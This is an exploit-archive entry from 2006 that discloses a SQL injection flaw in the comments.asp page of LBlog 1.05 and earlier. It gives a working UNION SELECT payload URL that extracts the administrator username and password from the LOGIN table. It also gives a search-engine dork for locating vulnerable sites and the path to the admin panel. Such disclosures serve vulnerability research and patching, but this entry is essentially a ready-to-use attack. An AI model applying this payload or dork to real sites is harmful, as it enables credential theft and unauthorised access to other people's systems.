[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : LBlog <= 1.05 (comments.asp) Remote SQL Injection Vulnerability
# Published : 2006-08-20
# Author : Chironex Fleckeri
# Previous Title : Simple Machines Forum <= 1.1 rc2 (lngfile) Remote Exploit (windows)
# Next Title : SimpleBlog <= 2.0 (comments.asp) Remote SQL Injection Exploit
################################################################################
## ##
## LBlog <= "comments.asp" SQL Injection Exploit ##
## - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ##
## Credit by | Chironex Fleckeri ##
## Mail | ChironeX.FleckeriX@Gmail.Com ##
## Googledork | Powered By LBlog ##
## - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ##
## ##
################################################################################
###################################################################################################################
#Usage : http://www.target.com/path/comments.asp?id=-1 UNION SELECT 0,username,password,3,4+FROM+LOGIN+WHERE+ID=1 #
###################################################################################################################
#################################################
#Admin Panel : http://www.target.com/path/admin #
#################################################
# www.Syue.com [2006-08-20]